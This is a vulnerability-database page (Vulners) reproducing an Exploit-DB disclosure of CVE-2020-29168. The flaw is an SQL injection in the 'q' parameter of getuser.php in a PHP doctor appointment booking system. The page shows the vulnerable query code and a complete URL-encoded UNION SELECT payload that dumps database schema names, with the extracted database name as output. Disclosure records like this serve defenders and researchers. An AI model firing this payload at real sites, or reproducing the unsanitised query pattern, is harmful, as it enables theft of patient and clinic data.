Lucene search
+L

Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection (SQLi)

🗓️ 17 Nov 2020 00:00:00Reported by Ramil MustafayevType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 974 Views

Online Doctor Appointment Sys 1.0 - 'q' SQL Injectio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2020-29168
17 Feb 202318:13
–circl
cnnvd
CNNVD
SQL Injection Vulnerability in Online Doctor Appointment Booking System
17 Feb 202300:00
–cnnvd
cve
CVE
CVE-2020-29168
17 Feb 202300:00
–cve
cvelist
Cvelist
CVE-2020-29168
17 Feb 202300:00
–cvelist
euvd
EUVD
EUVD-2020-21548
7 Oct 202500:30
–euvd
nvd
NVD
CVE-2020-29168
17 Feb 202315:15
–nvd
osv_cve
osv_cve
CVE-2020-29168
17 Feb 202315:15
–osv_cve
prion
Prion
Sql injection
17 Feb 202315:15
–prion
ptsecurity
Positive Technologies
PT-2023-11774 · Unknown · Projectworlds Online Doctor Appointment Booking System
17 Feb 202300:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2020-29168: Improper Neutralization of Special Elements used in an SQL Command
17 Feb 202300:00
–rapid7
Rows per page
# Exploit Title: Online Doctor Appointment Booking System PHP and Mysql 1.0 - 'q' SQL Injection
# Google Dork: N/A
# Date: 11/16/2020
# Exploit Author: Ramil Mustafayev
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-doctor-appointment-booking-system-php-and-mysql/
# Software Link: https://projectworlds.in/wp-content/uploads/2020/05/PHP-Doctor-Appointment-System.zip
# Version: 1.0
# Tested on: Win10 x64, Kali Linux x64
# CVE : N/A
######## Description ########
#
# An SQL injection vulnerability was discovered in PHP-Doctor-Appointment-System.
#
# In getuser.php file, GET parameter 'q' is vulnerable.
#
# The vulnerability could allow for the improper neutralization of special elements in SQL commands and may lead to the product being vulnerable to SQL injection.
#
#############################

Vulnerable code:

include_once 'assets/conn/dbconnect.php';
$q = $_GET['q']; // Vulnerable param
// echo $q;
$res = mysqli_query($con,"SELECT * FROM doctorschedule WHERE scheduleDate='$q'"); // Injection point

Used Payload:

http://localhost/[PATH]/getuser.php?q=1%27%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x7162717671%2CIFNULL%28CAST%28schema_name%20AS%20NCHAR%29%2C0x20%29%2C0x7176627871%29%2CNULL%2CNULL%2CNULL%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23

Output:

Extracted database: qbqvqdb_healthcareqvbxq

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.19.8
EPSS0.01244
SSVC
974